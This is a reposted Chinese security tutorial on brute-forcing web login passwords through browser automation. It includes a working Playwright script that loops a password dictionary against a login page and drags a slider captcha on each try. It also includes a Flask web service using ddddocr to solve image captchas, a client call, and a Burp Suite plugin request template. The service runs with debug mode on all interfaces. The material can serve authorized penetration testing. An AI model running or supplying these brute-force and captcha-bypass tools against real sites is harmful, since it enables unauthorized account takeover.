基于浏览器的口令暴破与图形验证码识别

转载自：https://mp.weixin.qq.com/s/eV0UzlJxKuxkVeWnfvGvUQ

0x01 前言

随着网络安全水平的发展，越来越多的网站增加了RSA加密、图形验证码等防护手段，传统的口令暴破方式已捉襟见肘，如果高效、低代码的进行口令暴破？本文将介绍一个操作浏览器进行口令暴破的案例与验证码识别工具。

转载者注释：

不建议使用第一种 playwright ，差了点意思，需要 node 环境，还要下载几个包，尝试了一个拖动滑块网站没有成功，尝试了超星，发现超星还在用flash，直接寄。

ddddocr 感觉挺好的，可以和 burpsuite 联动。

但是 captcha-killer 不适合和最新版 burpsuite，只适合 burp1.7版。

所以这篇文章是我在试用之后才发现不适合的，但思路可以借鉴，所以找到了另一个项目，推荐：

https://github.com/f0ng/captcha-killer-modified

0x02 Playwright：浏览器自动化工具

Playwright是一个强大的Python库，仅用一个API即可自动执行Chromium、Firefox、WebKit等主流浏览器自动化操作，并同时支持以无头模式、有头模式运行。相比传统的“selenium”等工具，他可以录制我们对浏览器的操作并自动生成脚本，同时代码也是非常简单，与我们高效工作的目标非常契合。

0x03 Playwright：滑动验证码案例

生成登录流程代码

安装playwright后，运行下面命令进行录制浏览器操作，并生成代码：

1	python -m playwright codegen

输入目标URL并回车，可以看到自动生成了代码：

输入账号、密码，点击验证码，然后点击登录。录制过程中并不能拖动滑块，所以无法生成滑块的代码，登录操作其余的大部分代码均已生成，也可以看到其代码是非常简单的：

修改为暴破脚本

from playwright.sync_api import Playwright, sync_playwright
# chrome的路径
chromepath = r"chromium-939194\chrome-win\chrome.exe"
from time import sleep

def readpasswd(filename):
fp = open(r"password.txt", 'r', encoding='utf-8')
return fp


def run(playwright: Playwright) -> None:
browser = playwright.chromium.launch(executable_path=chromepath, headless=False)
context = browser.new_context()

# Open new page
page = context.new_page()
fp = readpasswd(1)
username = 'admin'
# 循环读取字典暴破
for passwd in fp:
page.goto("http://xxx.xxx.xxx.xxx/login.html")


# Click input[name="userName"]
page.click("input[name=\"userName\"]")

# Fill input[name="userName"]
page.fill("input[name=\"userName\"]", username)


# Click input[name="password"]
page.click("input[name=\"password\"]")


# Fill input[name="password"]
page.fill("input[name=\"password\"]", passwd)

# Click text=/.*\>\>.*/
# 滑动解锁代码
s = page.wait_for_selector("text=/.*\\>\\>.*/")
box = s.bounding_box()
page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2)
page.mouse.down()

# for i in range(10):
page.mouse.move(box["x"]+520,box["width"]/2, steps=10)


# Click text=登录
page.mouse.up()
page.click("text=登录")
sleep(1)
response_html = page.content()
print(f'username: {username}, password: {passwd}, length: {len(response_html)}, title: {page.title()}')


# ---------------------
context.close()
browser.close()


with sync_playwright() as playwright:
run(playwright)

运行效果如下，通过页面长度、标题等输出信息可大致判断是否暴破成功：

0x04 ddddocr：Python验证码识别库

ddddocr是Python的一个OCR通用验证码识别SDK，可离线识别验证码。项目地址：https://github.com/sml2h3/ddddocr。

为了方便使用这个验证码识别工具，我写了个简单的web api来方便远程调用验证码识别服务：

### 保存以下代码为py文件，在服务器或者本地运行（需安装好ddddocr库）。
from flask import Flask
from flask import request, abort
import base64
import traceback
import sys
from os.path import join, abspath, dirname
import ddddocr
app = Flask(__name__)
token = 'fbc3a282fd5ed254e54d2260607a1360'

@app.route('/', methods=['GET', 'POST'])
def index():
    res = ''
    if  request.method == 'POST':
        usertoken = request.form.get('token')
        img = request.form.get('b64img')
    if token != usertoken:
        return 'token error!', 403
    else:
        try:
            content = base64.b64decode(img.encode('utf-8'))
            res = classfifyCode(content)
        except:
            traceback.print_exc()
            res = ''
    return res, 200
def classfifyCode(image):
    ocr = ddddocr.DdddOcr()
    res = ocr.classification(image)
    return res
def main():
    app.run(host='0.0.0.0', port=50001, debug=True)
if __name__ == "__main__":
    main()

调用示例如下：

import requests
import base64
# 获取验证码图片
r = requests.get('https://i.nosec.org/rucaptcha/')
img = r.content
b64img = base64.b64encode(img).decode('utf-8')
token = 'fbc3a282fd5ed254e54d2260607a1360'
data = {
'token': token,
'b64img': b64img
}
proxy = {
    'http':'127.0.0.1:8081'
}
# 验证码识别服务器url
r2 = requests.post('http://127.0.0.1:50001', data=data, proxies=proxy)
print(r2.text, r.status_code)

这里随便找了个图形验证码测试，能正常检测出来，而且速度非常快：

既然验证码识别的问题解决了，后面就是根据我们的实际需要去编写脚本或者集成到已有工具中了，非常简单。

下面补充一个burpsuite验证码识别插件“captcha-killer”调用该接口的案例：

captcha-killer-modified：https://github.com/f0ng/captcha-killer-modified

POST / HTTP/1.1
Host: 127.0.0.1:50001
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 23628
Content-Type: application/x-www-form-urlencoded

token=fbc3a282fd5ed254e54d2260607a1360&b64img=<@URLENCODE><@BASE64><@IMG_RAW></@IMG_RAW></@BASE64></@URLENCODE>